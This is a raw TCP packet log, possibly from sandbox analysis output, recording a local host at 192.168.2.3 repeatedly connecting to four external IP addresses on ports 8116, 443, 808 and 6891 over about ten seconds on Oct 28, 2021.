Oct 28, 2021 05:06:22.664083004 CEST	50122	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.668157101 CEST	8116	50123	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.668211937 CEST	8116	50123	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.668335915 CEST	50123	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.674860954 CEST	50123	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:22.714806080 CEST	8116	50122	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.722052097 CEST	8116	50123	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:22.795392036 CEST	50124	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:22.795481920 CEST	443	50124	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:22.795814991 CEST	50124	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:22.796284914 CEST	50125	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:22.796320915 CEST	443	50125	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:22.796408892 CEST	50125	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:22.796621084 CEST	50124	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:22.796659946 CEST	443	50124	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:22.797208071 CEST	50125	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:22.797219038 CEST	443	50125	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:23.288989067 CEST	443	50124	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:23.289391041 CEST	50124	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:23.290549040 CEST	50124	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:23.290570021 CEST	443	50124	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:23.299343109 CEST	50124	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:23.299371958 CEST	443	50124	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:23.299653053 CEST	50124	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:23.299670935 CEST	443	50124	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:23.311433077 CEST	443	50125	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:23.311655998 CEST	50125	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:23.312495947 CEST	50125	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:23.312510014 CEST	443	50125	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:23.320630074 CEST	50125	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:23.320647001 CEST	443	50125	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:23.320812941 CEST	50125	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:23.320830107 CEST	443	50125	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:24.026710033 CEST	443	50125	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:24.026808977 CEST	443	50125	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:24.026953936 CEST	50125	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:24.030097961 CEST	50125	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:24.030126095 CEST	443	50125	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:24.188795090 CEST	50126	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:24.278075933 CEST	443	50124	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:24.278161049 CEST	443	50124	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:24.278223991 CEST	50124	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:24.278279066 CEST	50124	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:24.291428089 CEST	50124	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:24.291462898 CEST	443	50124	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:24.349538088 CEST	808	50126	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:24.349827051 CEST	50126	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:24.350537062 CEST	50126	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:24.451234102 CEST	50127	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:24.511056900 CEST	808	50126	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:24.512124062 CEST	808	50126	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:24.512217045 CEST	50126	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:24.512764931 CEST	50126	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:24.516810894 CEST	50126	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:24.516937017 CEST	50126	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:24.611238956 CEST	808	50127	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:24.611397982 CEST	50127	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:24.612443924 CEST	50127	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:24.672802925 CEST	808	50126	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:24.676956892 CEST	808	50126	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:24.677000999 CEST	808	50126	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:24.773045063 CEST	808	50127	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:24.773094893 CEST	808	50127	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:24.773405075 CEST	50127	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:24.774247885 CEST	50127	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:24.779362917 CEST	50127	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:24.779484987 CEST	50127	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:24.934151888 CEST	808	50127	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:24.939124107 CEST	808	50127	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:24.939168930 CEST	808	50127	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:24.939196110 CEST	808	50127	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:24.939224005 CEST	808	50127	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:25.062515020 CEST	808	50126	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:25.062558889 CEST	808	50126	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:25.062669992 CEST	50126	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:25.066359043 CEST	50126	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:25.189663887 CEST	50128	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:25.226433039 CEST	808	50126	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:25.319912910 CEST	808	50127	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:25.319957018 CEST	808	50127	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:25.320007086 CEST	50127	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:25.320035934 CEST	50127	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:25.325161934 CEST	50127	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:25.356343031 CEST	6891	50128	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:25.356533051 CEST	50128	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:25.357203007 CEST	50128	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:25.450444937 CEST	50129	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:25.484776974 CEST	808	50127	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:25.524333954 CEST	6891	50128	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:25.524533987 CEST	6891	50128	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:25.524663925 CEST	50128	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:25.525042057 CEST	50128	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:25.528080940 CEST	50128	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:25.528171062 CEST	50128	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:25.616167068 CEST	6891	50129	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:25.620733023 CEST	50129	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:25.620769978 CEST	50129	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:25.697107077 CEST	6891	50128	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:25.697124958 CEST	6891	50128	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:25.789112091 CEST	6891	50129	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:25.789417982 CEST	6891	50129	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:25.789554119 CEST	50129	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:25.790474892 CEST	50129	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:25.795141935 CEST	50129	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:25.795278072 CEST	50129	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:25.960517883 CEST	6891	50129	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:25.960545063 CEST	6891	50129	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:26.072432041 CEST	6891	50128	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:26.072462082 CEST	6891	50128	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:26.072765112 CEST	50128	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:26.079401016 CEST	50128	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:26.206048965 CEST	50130	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.247462988 CEST	6891	50128	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:26.260202885 CEST	8116	50130	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.260540962 CEST	50130	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.261202097 CEST	50130	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.315028906 CEST	8116	50130	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.315315962 CEST	8116	50130	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.315445900 CEST	50130	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.316339016 CEST	50130	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.320744038 CEST	50130	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.320928097 CEST	50130	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.344369888 CEST	6891	50129	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:26.344392061 CEST	6891	50129	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:26.344623089 CEST	50129	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:26.350899935 CEST	50129	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:26.374764919 CEST	8116	50130	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.374810934 CEST	8116	50130	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.466609001 CEST	50131	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.516349077 CEST	6891	50129	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:26.526361942 CEST	8116	50131	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.526606083 CEST	50131	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.528136015 CEST	50131	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.558449030 CEST	8116	50130	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.558492899 CEST	8116	50130	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.558708906 CEST	50130	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.564064026 CEST	50130	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.586975098 CEST	8116	50131	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.587131977 CEST	8116	50131	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.587217093 CEST	50131	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.588525057 CEST	50131	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.594861031 CEST	50131	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.595063925 CEST	50131	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.618977070 CEST	8116	50130	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.654906988 CEST	8116	50131	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.654952049 CEST	8116	50131	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.655534983 CEST	8116	50131	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.696754932 CEST	50132	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:26.696811914 CEST	443	50132	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:26.696965933 CEST	50132	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:26.698046923 CEST	50132	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:26.698069096 CEST	443	50132	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:26.839972973 CEST	8116	50131	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.840018988 CEST	8116	50131	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.840152979 CEST	50131	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.844692945 CEST	50131	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:26.903597116 CEST	8116	50131	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:26.971991062 CEST	50133	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:26.972045898 CEST	443	50133	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:26.972239971 CEST	50133	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:26.973817110 CEST	50133	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:26.973865032 CEST	443	50133	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:27.219140053 CEST	443	50132	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:27.219355106 CEST	50132	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:27.220184088 CEST	50132	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:27.220195055 CEST	443	50132	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:27.225680113 CEST	50132	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:27.225694895 CEST	443	50132	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:27.225842953 CEST	50132	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:27.225852013 CEST	443	50132	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:27.490561962 CEST	443	50133	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:27.490868092 CEST	50133	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:27.491621017 CEST	50133	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:27.491641045 CEST	443	50133	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:27.499214888 CEST	50133	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:27.499237061 CEST	443	50133	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:27.499383926 CEST	50133	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:27.499397039 CEST	443	50133	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:27.941243887 CEST	443	50132	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:27.941309929 CEST	443	50132	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:27.941354990 CEST	50132	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:27.941416979 CEST	50132	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:27.945857048 CEST	50132	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:27.945883036 CEST	443	50132	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:28.106734991 CEST	50134	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.205832005 CEST	443	50133	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:28.206176043 CEST	50133	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:28.206197023 CEST	443	50133	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:28.206219912 CEST	443	50133	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:28.206346035 CEST	50133	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:28.210889101 CEST	50133	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:28.211002111 CEST	443	50133	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:28.271202087 CEST	808	50134	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.271322966 CEST	50134	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.271852016 CEST	50134	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.326450109 CEST	50135	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.436072111 CEST	808	50134	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.436129093 CEST	808	50134	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.436209917 CEST	50134	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.437927008 CEST	50134	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.447962046 CEST	50134	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.448060036 CEST	50134	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.497006893 CEST	808	50135	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.497169971 CEST	50135	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.510606050 CEST	50135	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.602173090 CEST	808	50134	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.612308025 CEST	808	50134	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.612334013 CEST	808	50134	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.612344980 CEST	808	50134	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.681824923 CEST	808	50135	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.682092905 CEST	808	50135	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.682164907 CEST	50135	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.682704926 CEST	50135	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.686495066 CEST	50135	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.686606884 CEST	50135	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.854091883 CEST	808	50135	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.856815100 CEST	808	50135	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.856889009 CEST	808	50135	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.856904984 CEST	808	50135	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.995197058 CEST	808	50134	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.995220900 CEST	808	50134	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:28.995300055 CEST	50134	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:28.997926950 CEST	50134	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:29.127521992 CEST	50136	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:29.162512064 CEST	808	50134	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:29.241149902 CEST	808	50135	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:29.241177082 CEST	808	50135	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:29.241292953 CEST	50135	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:29.241334915 CEST	50135	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:29.248176098 CEST	50135	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:29.294291019 CEST	6891	50136	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:29.294477940 CEST	50136	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:29.295188904 CEST	50136	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:29.357470989 CEST	50137	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:29.418839931 CEST	808	50135	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:29.461705923 CEST	6891	50136	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:29.462407112 CEST	6891	50136	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:29.462507010 CEST	50136	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:29.463017941 CEST	50136	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:29.466833115 CEST	50136	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:29.466938019 CEST	50136	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:29.524240017 CEST	6891	50137	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:29.526099920 CEST	50137	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:29.526740074 CEST	50137	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:29.633320093 CEST	6891	50136	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:29.633346081 CEST	6891	50136	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:29.670836926 CEST	6891	50136	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:29.693269968 CEST	6891	50137	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:29.693314075 CEST	6891	50137	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:29.695319891 CEST	50137	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:29.695926905 CEST	50137	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:29.699870110 CEST	50137	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:29.700078011 CEST	50137	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:29.866379976 CEST	6891	50137	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:29.866441965 CEST	6891	50137	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:29.902789116 CEST	6891	50137	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:30.016947031 CEST	6891	50136	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:30.016978025 CEST	6891	50136	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:30.017188072 CEST	50136	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:30.017227888 CEST	50136	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:30.020904064 CEST	50136	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:30.143325090 CEST	50138	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.187231064 CEST	6891	50136	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:30.204433918 CEST	8116	50138	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.204538107 CEST	50138	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.205176115 CEST	50138	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.265999079 CEST	8116	50138	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.266200066 CEST	8116	50138	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.266278982 CEST	50138	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.266294003 CEST	6891	50137	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:30.266309977 CEST	6891	50137	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:30.266350031 CEST	50137	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:30.266376019 CEST	50137	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:30.266839981 CEST	50138	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.270661116 CEST	50138	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.270791054 CEST	50138	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.272664070 CEST	50137	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:30.331770897 CEST	8116	50138	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.332335949 CEST	8116	50138	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.370584011 CEST	8116	50138	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.393665075 CEST	50139	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.439023018 CEST	6891	50137	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:30.447485924 CEST	8116	50139	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.447664976 CEST	50139	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.448806047 CEST	50139	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.503998995 CEST	8116	50139	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.504054070 CEST	8116	50138	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.504084110 CEST	8116	50138	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.504112959 CEST	8116	50139	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.504136086 CEST	50138	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.504167080 CEST	50138	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.504170895 CEST	50139	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.504745007 CEST	50139	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.506375074 CEST	50138	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.508677959 CEST	50139	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.508795023 CEST	50139	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.562516928 CEST	8116	50139	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.562798977 CEST	8116	50139	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.563530922 CEST	8116	50139	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.568480015 CEST	8116	50138	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.627839088 CEST	50140	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:30.627882957 CEST	443	50140	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:30.628015041 CEST	50140	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:30.628635883 CEST	50140	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:30.628648043 CEST	443	50140	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:30.749191046 CEST	8116	50139	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.749212027 CEST	8116	50139	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.749293089 CEST	50139	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.749337912 CEST	50139	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.758929014 CEST	50139	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:30.812284946 CEST	8116	50139	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:30.873563051 CEST	50141	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:30.873613119 CEST	443	50141	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:30.873756886 CEST	50141	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:30.874391079 CEST	50141	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:30.874407053 CEST	443	50141	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:31.149756908 CEST	443	50140	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:31.149863958 CEST	50140	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:31.150954962 CEST	50140	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:31.150969982 CEST	443	50140	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:31.156398058 CEST	50140	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:31.156414032 CEST	443	50140	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:31.156513929 CEST	50140	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:31.156522036 CEST	443	50140	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:31.389920950 CEST	443	50141	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:31.390122890 CEST	50141	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:31.390734911 CEST	50141	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:31.390743971 CEST	443	50141	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:31.396548986 CEST	50141	443	192.168.2.3	192.46.210.220
